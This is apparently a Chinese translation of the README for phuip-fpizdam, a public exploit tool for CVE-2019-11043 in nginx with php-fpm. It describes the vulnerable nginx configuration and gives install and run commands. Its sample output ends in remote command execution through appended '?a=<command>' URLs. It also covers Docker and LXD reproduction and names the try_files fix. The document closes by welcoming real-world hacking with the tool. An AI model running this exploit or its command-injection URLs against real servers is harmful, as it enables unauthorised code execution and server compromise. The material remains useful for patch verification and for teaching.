
Exploit for CVE-2019-11043
这是一个针对 php-fpm 漏洞 (CVE-2019-11043) 的利用工具。在某些 nginx + php-fpm 配置中,该漏洞可以从外部触发。这意味着,如果你使用了有漏洞的配置(见下方),网络用户可能获得代码执行能力。
虽然我们懒得写分析文章,但 Orange Tsai 在他的博客中发表了一篇完美的分析。向他致敬。
此外,我在 ZeroNights 2019 上的幻灯片可在此获取。
如果 Web 服务器运行 nginx + php-fpm,并且 nginx 的配置如下:
location ~ [^/]\.php(/|$) {
...
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_pass php:9000;
...
}
并且缺少任何脚本存在性检查(如 try_files),那么你很可能可以用此工具攻破它。
location ~ [^/]\.php(/|$) 转发到 php-fpm(正则表达式可能更严格,见 #1)。fastcgi_param PATH_INFO $fastcgi_path_info; 语句赋值 PATH_INFO 变量。同时必须使用 fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; 设置 SCRIPT_FILENAME(可能用常量路径代替 $document_root)。起初我们认为这些始终存在于 fastcgi_params 文件中,但事实并非如此。PATH_INFO 设置为空值。此利用工具假设存在 fastcgi_split_path_info 指令,并且其正则表达式以 ^ 开头、以 $ 结尾,因此它尝试用换行符破坏该正则表达式。PATH_INFO 是在 REQUEST_URI 之后设置的。try_files $uri =404 或 if (-f $uri)。如果 Nginx 在转发到 FastCGI 之前丢弃了对不存在脚本的请求,我们的请求就永远无法到达 php-fpm。添加此检查也是最简单的修补方法。很久以前,php-fpm 没有限制脚本的扩展名,这意味着类似 /avatar.png/some-fake-shit.php 的请求可以将 avatar.png 作为 PHP 脚本执行。该问题大约在 2010 年修复。
当前的漏洞不需要文件上传,适用于最新版本(直到修复发布),而且最重要的是,利用方式要酷得多。
使用以下命令安装:
go get github.com/neex/phuip-fpizdam
如果遇到奇怪的编译错误,请确保你使用的 go 版本 >= 1.13。使用 phuip-fpizdam [url] 运行程序(假设 $GOPATH/bin 在你的 $PATH 中,否则指定二进制文件的完整路径)。正常输出如下所示:
2019/10/01 02:46:15 基础状态码是 200
2019/10/01 02:46:15 qsl=1745 时状态码为 500,将其添加为候选
2019/10/01 02:46:15 目标可能易受攻击。可能的 QSL: [1735 1740 1745]
2019/10/01 02:46:16 攻击参数已找到:--qsl 1735 --pisos 126 --skip-detect
2019/10/01 02:46:16 正在尝试设置 "session.auto_start=0"...
2019/10/01 02:46:16 Detect() 返回攻击参数:--qsl 1735 --pisos 126 --skip-detect <-- 请记住此值
2019/10/01 02:46:16 正在使用 php.ini 设置执行攻击...
2019/10/01 02:46:40 成功!能够通过在 URL 后追加 "?a=/bin/sh+-c+'which+which'&" 来执行命令
2019/10/01 02:46:40 正在清理 /tmp/a...
2019/10/01 02:46:40 完成!
之后,你可以开始在所有 PHP 脚本后追加 ?a=<你的命令>(可能需要多次重试)。
或者,你可以使用 docker 镜像 来运行此利用工具:
docker run --rm ypereirareis/cve-2019-11043 [url]
如果你想在本地通过 Docker 复现问题或测试此利用工具,请执行以下步骤:
reproducer 目录。docker build -t reproduce-cve-2019-11043 . 创建 Docker 镜像。由于内部会克隆 PHP 仓库并从源码构建,此过程需要较长时间。但如果你想调试此利用工具,这种方式会更方便。构建的版本是修复前的最后一个修订版。docker run --rm -ti -p 8080:80 reproduce-cve-2019-11043 运行 Docker 容器。phuip-fpizdam http://127.0.0.1:8080/script.php 运行利用工具。?a= 来执行命令:http://127.0.0.1:8080/script.php?a=id。由于只有部分 php-fpm 工作进程被感染,请多次尝试。如果你想在本地通过 LXD 复现问题或测试此利用工具,请执行以下步骤:
vulnerable 和 attacker。两个容器均可使用 ubuntu:18.04 容器镜像。vulnerable 容器中,安装 nginx 和 php-fpm。将服务器块配置为此配置。创建一个空文件 /var/www/html/index.php。attacker 容器中,安装 Go 语言(sudo snap install go --classic),克隆此仓库,并在仓库目录下运行 go build。./phuip-fpizdam http://vulnerable.lxd/index.php。多次运行以感染所有 php-fpm 工作进程。有关更详细的说明,请参见使用 LXD 系统容器测试 CVE-2019-11043 (php-fpm 安全漏洞)。
php-fpm 中的缓冲区下溢存在于 PHP 5 版本中。然而,此利用工具利用了用于存储 FastCGI 变量的一种优化,即 _fcgi_data_seg。此优化仅存在于 PHP 7 中,因此此特定利用工具仅适用于 PHP 7。可能存在另一种适用于 PHP 5 的利用技术。
原始异常由 d90pwn 在 Real World CTF 中发现。根因分析由我(Emil Lerner)完成,同时我也发现了设置 php.ini 选项的方法。最终的 php.ini 选项集由 beched 发现。
此利用工具根据 MIT 许可证 条款分发。
请勿使用此利用工具造成任何损害。但如果你真的用它黑掉了什么东西,我会很高兴。